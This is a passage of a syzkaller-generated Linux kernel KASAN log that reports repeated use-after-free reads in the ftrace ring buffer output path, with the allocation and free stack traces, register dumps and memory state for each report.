[ 151.049574][ T5916] __tracing_resize_ring_buffer+0x9c/0x310
[ 151.053224][ T5916] tracing_update_buffers+0x7b/0xb0
[ 151.056128][ T5916] system_enable_write+0x17e/0x350
[ 151.058050][ T5916] vfs_write+0x296/0xba0
[ 151.060032][ T5916] ksys_write+0x150/0x270
[ 151.062415][ T5916] do_syscall_64+0x174/0x580
[ 151.064900][ T5916] entry_SYSCALL_64_after_hwframe+0x77/0x7f
[ 151.068707][ T5916] page last free pid 5917 tgid 5912 stack trace:
[ 151.072866][ T5916] __free_frozen_pages+0xbdb/0xcb0
[ 151.076344][ T5916] ring_buffer_subbuf_order_set+0xeaa/0x14b0
[ 151.080297][ T5916] buffer_subbuf_size_write+0x1b3/0x250
[ 151.083878][ T5916] vfs_write+0x296/0xba0
[ 151.086662][ T5916] ksys_write+0x150/0x270
[ 151.089441][ T5916] do_syscall_64+0x174/0x580
[ 151.092418][ T5916] entry_SYSCALL_64_after_hwframe+0x77/0x7f
[ 151.095998][ T5916]
[ 151.096989][ T5916] Memory state around the buggy address:
[ 151.099747][ T5916] ffff888119b6eb00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
[ 151.105002][ T5916] ffff888119b6eb80: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
[ 151.110562][ T5916] >ffff888119b6ec00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
[ 151.115679][ T5916] ^
[ 151.117745][ T5916] ffff888119b6ec80: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
[ 151.122175][ T5916] ffff888119b6ed00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
[ 151.127331][ T5916] ==================================================================
[ 151.143757][ T5916] ==================================================================
[ 151.147705][ T5916] BUG: KASAN: use-after-free in trace_raw_output_lock+0xc9/0xd0
[ 151.151543][ T5916] Read of size 4 at addr ffff888119b6ec2c by task syz-executor390/5916
[ 151.156735][ T5916]
[ 151.158281][ T5916] CPU: 1 UID: 0 PID: 5916 Comm: syz-executor390 Tainted: G B syzkaller #1 PREEMPT(full)
[ 151.158326][ T5916] Tainted: [B]=BAD_PAGE
[ 151.158332][ T5916] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[ 151.158340][ T5916] Call Trace:
[ 151.158350][ T5916] <TASK>
[ 151.158359][ T5916] dump_stack_lvl+0xe8/0x150
[ 151.158386][ T5916] print_address_description+0x55/0x1e0
[ 151.158407][ T5916] ? trace_raw_output_lock+0xc9/0xd0
[ 151.158422][ T5916] print_report+0x58/0x70
[ 151.158440][ T5916] kasan_report+0x117/0x150
[ 151.158474][ T5916] ? trace_raw_output_lock+0xc9/0xd0
[ 151.158504][ T5916] trace_raw_output_lock+0xc9/0xd0
[ 151.158523][ T5916] tracing_read_pipe+0x568/0xb50
[ 151.158557][ T5916] ? __pfx_tracing_read_pipe+0x10/0x10
[ 151.158573][ T5916] vfs_read+0x213/0xa80
[ 151.158600][ T5916] ? __pfx___mutex_lock+0x10/0x10
[ 151.158618][ T5916] ? __pfx_vfs_read+0x10/0x10
[ 151.158638][ T5916] ? __fget_files+0x2a/0x420
[ 151.158665][ T5916] ? __fget_files+0x3a2/0x420
[ 151.158682][ T5916] ? __fget_files+0x2a/0x420
[ 151.158716][ T5916] ksys_read+0x150/0x270
[ 151.158737][ T5916] ? __pfx_ksys_read+0x10/0x10
[ 151.158755][ T5916] ? trace_syscall_enter+0x5b/0x100
[ 151.158769][ T5916] ? trace_syscall_enter+0x5b/0x100
[ 151.158784][ T5916] ? rcu_is_watching+0x15/0xb0
[ 151.158800][ T5916] ? trace_syscall_enter+0x5b/0x100
[ 151.158814][ T5916] ? entry_SYSCALL_64_after_hwframe+0x77/0x7f
[ 151.158832][ T5916] do_syscall_64+0x174/0x580
[ 151.158847][ T5916] ? entry_SYSCALL_64_after_hwframe+0x77/0x7f
[ 151.158861][ T5916] ? clear_bhb_loop+0x40/0x90
[ 151.158881][ T5916] entry_SYSCALL_64_after_hwframe+0x77/0x7f
[ 151.158895][ T5916] RIP: 0033:0x7fadcfb36d9e
[ 151.158912][ T5916] Code: 08 0f 85 f5 e2 ff ff 49 89 fb 48 89 f0 48 89 d7 48 89 ce 4c 89 c2 4d 89 ca 4c 8b 44 24 08 4c 8b 4c 24 10 4c 89 5c 24 08 0f 05 <c3> 90 41 57 41 56 4d 89 c6 41 55 4d 89 cd 41 54 55 53 48 83 ec 08
[ 151.158923][ T5916] RSP: 002b:00007fadcfae0198 EFLAGS: 00000246 ORIG_RAX: 0000000000000000
[ 151.158937][ T5916] RAX: ffffffffffffffda RBX: 00007fadcfae16c0 RCX: 00007fadcfb36d9e
[ 151.158946][ T5916] RDX: 0000000000001000 RSI: 00007fadcfae0200 RDI: 0000000000000003
[ 151.158955][ T5916] RBP: 00007fadcfae0200 R08: 0000000000000000 R09: 0000000000000000
[ 151.158963][ T5916] R10: 0000000000000000 R11: 0000000000000246 R12: ffffffffffffffd0
[ 151.158970][ T5916] R13: 0000000000000000 R14: 00007ffd4e5b1df0 R15: 00007ffd4e5b1ed8
[ 151.159007][ T5916] </TASK>
[ 151.159012][ T5916]
[ 151.293572][ T5916] The buggy address belongs to the physical page:
[ 151.297321][ T5916] page: refcount:0 mapcount:0 mapping:0000000000000000 index:0xffff888119b6e000 pfn:0x119b6e
[ 151.304068][ T5916] flags: 0x17ff00000000000(node=0|zone=2|lastcpupid=0x7ff)
[ 151.307901][ T5916] raw: 017ff00000000000 ffffea00042b8f48 ffffea000466c608 0000000000000000
[ 151.312499][ T5916] raw: ffff888119b6e000 0000000000000000 00000000ffffffff 0000000000000000
[ 151.317856][ T5916] page dumped because: kasan: bad access detected
[ 151.322082][ T5916] page_owner tracks the page as freed
[ 151.325351][ T5916] page last allocated via order 0, migratetype Unmovable, gfp_mask 0x44dc0(GFP_KERNEL|__GFP_ZERO|__GFP_RETRY_MAYFAIL|__GFP_COMP), pid 5912, tgid 5912 (syz-executor390), ts 116313597429, free_ts 147804824956
[ 151.334790][ T5916] post_alloc_hook+0x1f9/0x250
[ 151.337628][ T5916] get_page_from_freelist+0x21fa/0x2270
[ 151.340913][ T5916] __alloc_frozen_pages_noprof+0x18d/0x380
[ 151.344380][ T5916] __alloc_pages_noprof+0x10/0x100
[ 151.346767][ T5916] __rb_allocate_pages+0x9f7/0x1330
[ 151.348742][ T5916] ring_buffer_resize+0x4e8/0x15e0
[ 151.351471][ T5916] __tracing_resize_ring_buffer+0x9c/0x310
[ 151.354809][ T5916] tracing_update_buffers+0x7b/0xb0
[ 151.357987][ T5916] system_enable_write+0x17e/0x350
[ 151.361002][ T5916] vfs_write+0x296/0xba0
[ 151.363551][ T5916] ksys_write+0x150/0x270
[ 151.366239][ T5916] do_syscall_64+0x174/0x580
[ 151.369608][ T5916] entry_SYSCALL_64_after_hwframe+0x77/0x7f
[ 151.373159][ T5916] page last free pid 5917 tgid 5912 stack trace:
[ 151.376350][ T5916] __free_frozen_pages+0xbdb/0xcb0
[ 151.379418][ T5916] ring_buffer_subbuf_order_set+0xeaa/0x14b0
[ 151.382888][ T5916] buffer_subbuf_size_write+0x1b3/0x250
[ 151.386151][ T5916] vfs_write+0x296/0xba0
[ 151.388692][ T5916] ksys_write+0x150/0x270
[ 151.391523][ T5916] do_syscall_64+0x174/0x580
[ 151.394457][ T5916] entry_SYSCALL_64_after_hwframe+0x77/0x7f
[ 151.397362][ T5916]
[ 151.398982][ T5916] Memory state around the buggy address:
[ 151.402714][ T5916] ffff888119b6eb00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
[ 151.408363][ T5916] ffff888119b6eb80: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
[ 151.413263][ T5916] >ffff888119b6ec00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
[ 151.417178][ T5916] ^
[ 151.419210][ T5916] ffff888119b6ec80: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
[ 151.423898][ T5916] ffff888119b6ed00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
[ 151.428698][ T5916] ==================================================================
[ 151.437480][ T5916] ==================================================================
[ 151.442469][ T5916] BUG: KASAN: use-after-free in ignore_event+0x9c2/0xa60
[ 151.446837][ T5916] Read of size 2 at addr ffff888119b6ec24 by task syz-executor390/5916
[ 151.450457][ T5916]
[ 151.451916][ T5916] CPU: 1 UID: 0 PID: 5916 Comm: syz-executor390 Tainted: G B syzkaller #1 PREEMPT(full)
[ 151.451937][ T5916] Tainted: [B]=BAD_PAGE
[ 151.451942][ T5916] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[ 151.451950][ T5916] Call Trace:
[ 151.451959][ T5916] <TASK>
[ 151.451967][ T5916] dump_stack_lvl+0xe8/0x150
[ 151.451992][ T5916] print_address_description+0x55/0x1e0
[ 151.452014][ T5916] ? ignore_event+0x9c2/0xa60
[ 151.452030][ T5916] print_report+0x58/0x70
[ 151.452048][ T5916] kasan_report+0x117/0x150
[ 151.452074][ T5916] ? ignore_event+0x9c2/0xa60
[ 151.452103][ T5916] ignore_event+0x9c2/0xa60
[ 151.452118][ T5916] ? preempt_schedule_thunk+0x16/0x40
[ 151.452137][ T5916] ? preempt_schedule_common+0x82/0xd0
[ 151.452159][ T5916] ? preempt_schedule_thunk+0x16/0x40
[ 151.452180][ T5916] trace_event_printf+0xa7/0x170
[ 151.452200][ T5916] ? add_taint+0x9a/0xe0
[ 151.452221][ T5916] ? __pfx_trace_event_printf+0x10/0x10
[ 151.452247][ T5916] ? trace_raw_output_lock+0xc9/0xd0
[ 151.452307][ T5916] trace_raw_output_lock+0x99/0xd0
[ 151.452330][ T5916] tracing_read_pipe+0x568/0xb50
[ 151.452362][ T5916] ? __pfx_tracing_read_pipe+0x10/0x10
[ 151.452378][ T5916] vfs_read+0x213/0xa80
[ 151.452404][ T5916] ? __pfx___mutex_lock+0x10/0x10
[ 151.452421][ T5916] ? __pfx_vfs_read+0x10/0x10
[ 151.452440][ T5916] ? __fget_files+0x2a/0x420
[ 151.452467][ T5916] ? __fget_files+0x3a2/0x420
[ 151.452485][ T5916] ? __fget_files+0x2a/0x420
[ 151.452519][ T5916] ksys_read+0x150/0x270
[ 151.452540][ T5916] ? __pfx_ksys_read+0x10/0x10
[ 151.452557][ T5916] ? trace_syscall_enter+0x5b/0x100
[ 151.452572][ T5916] ? trace_syscall_enter+0x5b/0x100
[ 151.452587][ T5916] ? rcu_is_watching+0x15/0xb0
[ 151.452602][ T5916] ? trace_syscall_enter+0x5b/0x100
[ 151.452617][ T5916] ? entry_SYSCALL_64_after_hwframe+0x77/0x7f
[ 151.452635][ T5916] do_syscall_64+0x174/0x580
[ 151.452649][ T5916] ? entry_SYSCALL_64_after_hwframe+0x77/0x7f
[ 151.452665][ T5916] ? clear_bhb_loop+0x40/0x90
[ 151.452686][ T5916] entry_SYSCALL_64_after_hwframe+0x77/0x7f
[ 151.452701][ T5916] RIP: 0033:0x7fadcfb36d9e
[ 151.452717][ T5916] Code: 08 0f 85 f5 e2 ff ff 49 89 fb 48 89 f0 48 89 d7 48 89 ce 4c 89 c2 4d 89 ca 4c 8b 44 24 08 4c 8b 4c 24 10 4c 89 5c 24 08 0f 05 <c3> 90 41 57 41 56 4d 89 c6 41 55 4d 89 cd 41 54 55 53 48 83 ec 08
[ 151.452728][ T5916] RSP: 002b:00007fadcfae0198 EFLAGS: 00000246 ORIG_RAX: 0000000000000000
[ 151.452742][ T5916] RAX: ffffffffffffffda RBX: 00007fadcfae16c0 RCX: 00007fadcfb36d9e
[ 151.452752][ T5916] RDX: 0000000000001000 RSI: 00007fadcfae0200 RDI: 0000000000000003
[ 151.452761][ T5916] RBP: 00007fadcfae0200 R08: 0000000000000000 R09: 0000000000000000
[ 151.452769][ T5916] R10: 0000000000000000 R11: 0000000000000246 R12: ffffffffffffffd0
[ 151.452776][ T5916] R13: 0000000000000000 R14: 00007ffd4e5b1df0 R15: 00007ffd4e5b1ed8
[ 151.452821][ T5916] </TASK>
[ 151.452826][ T5916]
[ 151.620437][ T5916] The buggy address belongs to the physical page:
[ 151.623157][ T5916] page: refcount:0 mapcount:0 mapping:0000000000000000 index:0xffff888119b6e000 pfn:0x119b6e
[ 151.628886][ T5916] flags: 0x17ff00000000000(node=0|zone=2|lastcpupid=0x7ff)
[ 151.633277][ T5916] raw: 017ff00000000000 ffffea00042b8f48 ffffea000466c608 0000000000000000
[ 151.638483][ T5916] raw: ffff888119b6e000 0000000000000000 00000000ffffffff 0000000000000000
[ 151.643604][ T5916] page dumped because: kasan: bad access detected
[ 151.646772][ T5916] page_owner tracks the page as freed
[ 151.648790][ T5916] page last allocated via order 0, migratetype Unmovable, gfp_mask 0x44dc0(GFP_KERNEL|__GFP_ZERO|__GFP_RETRY_MAYFAIL|__GFP_COMP), pid 5912, tgid 5912 (syz-executor390), ts 116313597429, free_ts 147804824956
[ 151.661736][ T5916] post_alloc_hook+0x1f9/0x250
[ 151.663675][ T5916] get_page_from_freelist+0x21fa/0x2270
[ 151.666435][ T5916] __alloc_frozen_pages_noprof+0x18d/0x380
[ 151.670121][ T5916] __alloc_pages_noprof+0x10/0x100
[ 151.673314][ T5916] __rb_allocate_pages+0x9f7/0x1330
[ 151.676970][ T5916] ring_buffer_resize+0x4e8/0x15e0
[ 151.679981][ T5916] __tracing_resize_ring_buffer+0x9c/0x310
[ 151.683371][ T5916] tracing_update_buffers+0x7b/0xb0
[ 151.686458][ T5916] system_enable_write+0x17e/0x350
[ 151.689639][ T5916] vfs_write+0x296/0xba0
[ 151.692080][ T5916] ksys_write+0x150/0x270
[ 151.694011][ T5916] do_syscall_64+0x174/0x580
[ 151.696749][ T5916] entry_SYSCALL_64_after_hwframe+0x77/0x7f
[ 151.700488][ T5916] page last free pid 5917 tgid 5912 stack trace:
[ 151.704141][ T5916] __free_frozen_pages+0xbdb/0xcb0
[ 151.706553][ T5916] ring_buffer_subbuf_order_set+0xeaa/0x14b0
[ 151.708725][ T5916] buffer_subbuf_size_write+0x1b3/0x250
[ 151.712172][ T5916] vfs_write+0x296/0xba0
[ 151.714732][ T5916] ksys_write+0x150/0x270
[ 151.717377][ T5916] do_syscall_64+0x174/0x580
[ 151.720091][ T5916] entry_SYSCALL_64_after_hwframe+0x77/0x7f
[ 151.723463][ T5916]
[ 151.724863][ T5916] Memory state around the buggy address:
[ 151.727666][ T5916] ffff888119b6eb00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
[ 151.731961][ T5916] ffff888119b6eb80: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
[ 151.735732][ T5916] >ffff888119b6ec00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
[ 151.739211][ T5916] ^
[ 151.741198][ T5916] ffff888119b6ec80: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
[ 151.744754][ T5916] ffff888119b6ed00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
[ 151.748360][ T5916] ==================================================================
[ 151.781492][ T5916] ==================================================================
[ 151.785309][ T5916] BUG: KASAN: use-after-free in string+0x216/0x2d0
[ 151.788687][ T5916] Read of size 1 at addr ffff888119b6ec3c by task syz-executor390/5916
[ 151.792036][ T5916]
[ 151.793749][ T5916] CPU: 1 UID: 0 PID: 5916 Comm: syz-executor390 Tainted: G B syzkaller #1 PREEMPT(full)
[ 151.793771][ T5916] Tainted: [B]=BAD_PAGE
[ 151.793776][ T5916] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[ 151.793785][ T5916] Call Trace:
[ 151.793794][ T5916] <TASK>
[ 151.793802][ T5916] dump_stack_lvl+0xe8/0x150
[ 151.793830][ T5916] print_address_description+0x55/0x1e0
[ 151.793852][ T5916] ? string+0x216/0x2d0
[ 151.793869][ T5916] print_report+0x58/0x70
[ 151.793888][ T5916] kasan_report+0x117/0x150
[ 151.793907][ T5916] ? pointer+0x968/0x1120
[ 151.793941][ T5916] ? string+0x216/0x2d0
[ 151.793974][ T5916] string+0x216/0x2d0
[ 151.794021][ T5916] vsnprintf+0x74a/0xef0
[ 151.794062][ T5916] seq_buf_vprintf+0xf0/0x1c0
[ 151.794089][ T5916] trace_seq_vprintf+0xd7/0x220
[ 151.794120][ T5916] trace_event_printf+0x110/0x170
[ 151.794140][ T5916] ? add_taint+0x9a/0xe0
[ 151.794163][ T5916] ? __pfx_trace_event_printf+0x10/0x10
[ 151.794189][ T5916] ? trace_raw_output_lock+0xc9/0xd0
[ 151.794220][ T5916] trace_raw_output_lock+0x99/0xd0
[ 151.794239][ T5916] tracing_read_pipe+0x568/0xb50
[ 151.794310][ T5916] ? __pfx_tracing_read_pipe+0x10/0x10
[ 151.794328][ T5916] vfs_read+0x213/0xa80
[ 151.794357][ T5916] ? __pfx___mutex_lock+0x10/0x10
[ 151.794374][ T5916] ? __pfx_vfs_read+0x10/0x10
[ 151.794395][ T5916] ? __fget_files+0x2a/0x420
[ 151.794423][ T5916] ? __fget_files+0x3a2/0x420
[ 151.794441][ T5916] ? __fget_files+0x2a/0x420
[ 151.794476][ T5916] ksys_read+0x150/0x270
[ 151.794499][ T5916] ? __pfx_ksys_read+0x10/0x10
[ 151.794517][ T5916] ? trace_syscall_enter+0x5b/0x100
[ 151.794533][ T5916] ? trace_syscall_enter+0x5b/0x100
[ 151.794548][ T5916] ? rcu_is_watching+0x15/0xb0
[ 151.794563][ T5916] ? trace_syscall_enter+0x5b/0x100
[ 151.794579][ T5916] ? entry_SYSCALL_64_after_hwframe+0x77/0x7f
[ 151.794597][ T5916] do_syscall_64+0x174/0x580
[ 151.794611][ T5916] ? entry_SYSCALL_64_after_hwframe+0x77/0x7f
[ 151.794627][ T5916] ? clear_bhb_loop+0x40/0x90
[ 151.794648][ T5916] entry_SYSCALL_64_after_hwframe+0x77/0x7f
[ 151.794662][ T5916] RIP: 0033:0x7fadcfb36d9e
[ 151.794679][ T5916] Code: 08 0f 85 f5 e2 ff ff 49 89 fb 48 89 f0 48 89 d7 48 89 ce 4c 89 c2 4d 89 ca 4c 8b 44 24 08 4c 8b 4c 24 10 4c 89 5c 24 08 0f 05 <c3> 90 41 57 41 56 4d 89 c6 41 55 4d 89 cd 41 54 55 53 48 83 ec 08
[ 151.794690][ T5916] RSP: 002b:00007fadcfae0198 EFLAGS: 00000246 ORIG_RAX: 0000000000000000
[ 151.794711][ T5916] RAX: ffffffffffffffda RBX: 00007fadcfae16c0 RCX: 00007fadcfb36d9e
[ 151.794720][ T5916] RDX: 0000000000001000 RSI: 00007fadcfae0200 RDI: 0000000000000003
[ 151.794729][ T5916] RBP: 00007fadcfae0200 R08: 0000000000000000 R09: 0000000000000000
[ 151.794737][ T5916] R10: 0000000000000000 R11: 0000000000000246 R12: ffffffffffffffd0
[ 151.794745][ T5916] R13: 0000000000000000 R14: 00007ffd4e5b1df0 R15: 00007ffd4e5b1ed8
[ 151.794786][ T5916] </TASK>
[ 151.794791][ T5916]
[ 151.939388][ T5916] The buggy address belongs to the physical page:
[ 151.943253][ T5916] page: refcount:0 mapcount:0 mapping:0000000000000000 index:0xffff888119b6e000 pfn:0x119b6e
[ 151.949420][ T5916] flags: 0x17ff00000000000(node=0|zone=2|lastcpupid=0x7ff)
[ 151.953830][ T5916] raw: 017ff00000000000 ffffea00042b8f48 ffffea000466c608 0000000000000000
[ 151.958122][ T5916] raw: ffff888119b6e000 0000000000000000 00000000ffffffff 0000000000000000
[ 151.962754][ T5916] page dumped because: kasan: bad access detected
[ 151.966677][ T5916] page_owner tracks the page as freed
[ 151.969977][ T5916] page last allocated via order 0, migratetype Unmovable, gfp_mask 0x44dc0(GFP_KERNEL|__GFP_ZERO|__GFP_RETRY_MAYFAIL|__GFP_COMP), pid 5912, tgid 5912 (syz-executor390), ts 116313597429, free_ts 147804824956
[ 151.982061][ T5916] post_alloc_hook+0x1f9/0x250
[ 151.985106][ T5916] get_page_from_freelist+0x21fa/0x2270
[ 151.988088][ T5916] __alloc_frozen_pages_noprof+0x18d/0x380
[ 151.991186][ T5916] __alloc_pages_noprof+0x10/0x100
[ 151.994321][ T5916] __rb_allocate_pages+0x9f7/0x1330
[ 151.997486][ T5916] ring_buffer_resize+0x4e8/0x15e0
[ 152.000563][ T5916] __tracing_resize_ring_buffer+0x9c/0x310
[ 152.002784][ T5916] tracing_update_buffers+0x7b/0xb0
[ 152.005836][ T5916] system_enable_write+0x17e/0x350
[ 152.008924][ T5916] vfs_write+0x296/0xba0
[ 152.011631][ T5916] ksys_write+0x150/0x270
[ 152.014457][ T5916] do_syscall_64+0x174/0x580
[ 152.017319][ T5916] entry_SYSCALL_64_after_hwframe+0x77/0x7f
[ 152.020988][ T5916] page last free pid 5917 tgid 5912 stack trace:
[ 152.024812][ T5916] __free_frozen_pages+0xbdb/0xcb0
[ 152.027989][ T5916] ring_buffer_subbuf_order_set+0xeaa/0x14b0
[ 152.031668][ T5916] buffer_subbuf_size_write+0x1b3/0x250
[ 152.034098][ T5916] vfs_write+0x296/0xba0
[ 152.036720][ T5916] ksys_write+0x150/0x270
[ 152.039337][ T5916] do_syscall_64+0x174/0x580
[ 152.042147][ T5916] entry_SYSCALL_64_after_hwframe+0x77/0x7f
[ 152.045677][ T5916]
[ 152.047158][ T5916] Memory state around the buggy address:
[ 152.050496][ T5916] ffff888119b6eb00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
[ 152.053600][ T5916] ffff888119b6eb80: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
[ 152.058410][ T5916] >ffff888119b6ec00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
[ 152.063103][ T5916] ^
[ 152.066615][ T5916] ffff888119b6ec80: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
[ 152.071169][ T5916] ffff888119b6ed00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
[ 152.076165][ T5916] ==================================================================
[ 152.094103][ T5916] ==================================================================
[ 152.097627][ T5916] BUG: KASAN: use-after-free in string+0x216/0x2d0
[ 152.100576][ T5916] Read of size 1 at addr ffff888119b6ec3d by task syz-executor390/5916
[ 152.105336][ T5916]
[ 152.106813][ T5916] CPU: 1 UID: 0 PID: 5916 Comm: syz-executor390 Tainted: G B syzkaller #1 PREEMPT(full)
[ 152.106830][ T5916] Tainted: [B]=BAD_PAGE
[ 152.106834][ T5916] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[ 152.106840][ T5916] Call Trace:
[ 152.106848][ T5916] <TASK>
[ 152.106855][ T5916] dump_stack_lvl+0xe8/0x150
[ 152.106878][ T5916] print_address_description+0x55/0x1e0
[ 152.106895][ T5916] ? string+0x216/0x2d0
[ 152.106909][ T5916] print_report+0x58/0x70
[ 152.106922][ T5916] kasan_report+0x117/0x150
[ 152.106945][ T5916] ? string+0x216/0x2d0
[ 152.106969][ T5916] string+0x216/0x2d0
[ 152.106992][ T5916] vsnprintf+0x74a/0xef0
[ 152.107024][ T5916] seq_buf_vprintf+0xf0/0x1c0
[ 152.107043][ T5916] trace_seq_vprintf+0xd7/0x220
[ 152.107066][ T5916] trace_event_printf+0x110/0x170
[ 152.107083][ T5916] ? add_taint+0x9a/0xe0
[ 152.107100][ T5916] ? __pfx_trace_event_printf+0x10/0x10
[ 152.107119][ T5916] ? trace_raw_output_lock+0xc9/0xd0
[ 152.107144][ T5916] trace_raw_output_lock+0x99/0xd0
[ 152.107159][ T5916] tracing_read_pipe+0x568/0xb50
[ 152.107184][ T5916] ? __pfx_tracing_read_pipe+0x10/0x10
[ 152.107197][ T5916] vfs_read+0x213/0xa80
[ 152.107250][ T5916] ? __pfx___mutex_lock+0x10/0x10
[ 152.107264][ T5916] ? __pfx_vfs_read+0x10/0x10
[ 152.107280][ T5916] ? __fget_files+0x2a/0x420
[ 152.107302][ T5916] ? __fget_files+0x3a2/0x420
[ 152.107316][ T5916] ? __fget_files+0x2a/0x420
[ 152.107343][ T5916] ksys_read+0x150/0x270
[ 152.107360][ T5916] ? __pfx_ksys_read+0x10/0x10
[ 152.107381][ T5916] ? trace_syscall_enter+0x5b/0x100
[ 152.107393][ T5916] ? trace_syscall_enter+0x5b/0x100
[ 152.107405][ T5916] ? rcu_is_watching+0x15/0xb0
[ 152.107417][ T5916] ? trace_syscall_enter+0x5b/0x100
[ 152.107429][ T5916] ? entry_SYSCALL_64_after_hwframe+0x77/0x7f
[ 152.107442][ T5916] do_syscall_64+0x174/0x580
[ 152.107453][ T5916] ? entry_SYSCALL_64_after_hwframe+0x77/0x7f
[ 152.107465][ T5916] ? clear_bhb_loop+0x40/0x90
[ 152.107481][ T5916] entry_SYSCALL_64_after_hwframe+0x77/0x7f
[ 152.107491][ T5916] RIP: 0033:0x7fadcfb36d9e
[ 152.107505][ T5916] Code: 08 0f 85 f5 e2 ff ff 49 89 fb 48 89 f0 48 89 d7 48 89 ce 4c 89 c2 4d 89 ca 4c 8b 44 24 08 4c 8b 4c 24 10 4c 89 5c 24 08 0f 05 <c3> 90 41 57 41 56 4d 89 c6 41 55 4d 89 cd 41 54 55 53 48 83 ec 08
[ 152.107513][ T5916] RSP: 002b:00007fadcfae0198 EFLAGS: 00000246 ORIG_RAX: 0000000000000000
[ 152.107525][ T5916] RAX: ffffffffffffffda RBX: 00007fadcfae16c0 RCX: 00007fadcfb36d9e
[ 152.107532][ T5916] RDX: 0000000000001000 RSI: 00007fadcfae0200 RDI: 0000000000000003
[ 152.107538][ T5916] RBP: 00007fadcfae0200 R08: 0000000000000000 R09: 0000000000000000
[ 152.107544][ T5916] R10: 0000000000000000 R11: 0000000000000246 R12: ffffffffffffffd0
[ 152.107551][ T5916] R13: 0000000000000000 R14: 00007ffd4e5b1df0 R15: 00007ffd4e5b1ed8
[ 152.107578][ T5916] </TASK>
[ 152.107582][ T5916]
[ 152.269248][ T5916] The buggy address belongs to the physical page:
[ 152.273273][ T5916] page: refcount:0 mapcount:0 mapping:0000000000000000 index:0xffff888119b6e000 pfn:0x119b6e
[ 152.277980][ T5916] flags: 0x17ff00000000000(node=0|zone=2|lastcpupid=0x7ff)
[ 152.281943][ T5916] raw: 017ff00000000000 ffffea00042b8f48 ffffea000466c608 0000000000000000
[ 152.287499][ T5916] raw: ffff888119b6e000 0000000000000000 00000000ffffffff 0000000000000000
[ 152.293357][ T5916] page dumped because: kasan: bad access detected
[ 152.297050][ T5916] page_owner tracks the page as freed
[ 152.300463][ T5916] page last allocated via order 0, migratetype Unmovable, gfp_mask 0x44dc0(GFP_KERNEL|__GFP_ZERO|__GFP_RETRY_MAYFAIL|__GFP_COMP), pid 5912, tgid 5912 (syz-executor390), ts 116313597429, free_ts 147804824956
[ 152.311856][ T5916] post_alloc_hook+0x1f9/0x250
[ 152.315364][ T5916] get_page_from_freelist+0x21fa/0x2270
[ 152.318949][ T5916] __alloc_frozen_pages_noprof+0x18d/0x380
[ 152.322607][ T5916] __alloc_pages_noprof+0x10/0x100
[ 152.325327][ T5916] __rb_allocate_pages+0x9f7/0x1330
[ 152.328906][ T5916] ring_buffer_resize+0x4e8/0x15e0
[ 152.332248][ T5916] __tracing_resize_ring_buffer+0x9c/0x310
[ 152.336219][ T5916] tracing_update_buffers+0x7b/0xb0
[ 152.339645][ T5916] system_enable_write+0x17e/0x350
[ 152.341604][ T5916] vfs_write+0x296/0xba0
[ 152.343311][ T5916] ksys_write+0x150/0x270
[ 152.346155][ T5916] do_syscall_64+0x174/0x580
[ 152.349202][ T5916] entry_SYSCALL_64_after_hwframe+0x77/0x7f
[ 152.353034][ T5916] page last free pid 5917 tgid 5912 stack trace:
[ 152.357123][ T5916] __free_frozen_pages+0xbdb/0xcb0
[ 152.360762][ T5916] ring_buffer_subbuf_order_set+0xeaa/0x14b0
[ 152.364724][ T5916] buffer_subbuf_size_write+0x1b3/0x250
[ 152.368359][ T5916] vfs_write+0x296/0xba0
[ 152.371461][ T5916] ksys_write+0x150/0x270
[ 152.374266][ T5916] do_syscall_64+0x174/0x580
[ 152.376747][ T5916] entry_SYSCALL_64_after_hwframe+0x77/0x7f
[ 152.380842][ T5916]
[ 152.382537][ T5916] Memory state around the buggy address:
[ 152.386429][ T5916] ffff888119b6eb00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
[ 152.390736][ T5916] ffff888119b6eb80: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
[ 152.396288][ T5916] >ffff888119b6ec00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
[ 152.401841][ T5916] ^
[ 152.405790][ T5916] ffff888119b6ec80: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
[ 152.408958][ T5916] ffff888119b6ed00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
[ 152.414721][ T5916] ==================================================================
[ 152.426663][ T5916] ==================================================================
[ 152.432051][ T5916] BUG: KASAN: use-after-free in string+0x216/0x2d0
[ 152.435911][ T5916] Read of size 1 at addr ffff888119b6ec3e by task syz-executor390/5916
[ 152.438994][ T5916]
[ 152.440631][ T5916] CPU: 1 UID: 0 PID: 5916 Comm: syz-executor390 Tainted: G B syzkaller #1 PREEMPT(full)
[ 152.440652][ T5916] Tainted: [B]=BAD_PAGE
[ 152.440657][ T5916] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[ 152.440665][ T5916] Call Trace:
[ 152.440672][ T5916] <TASK>
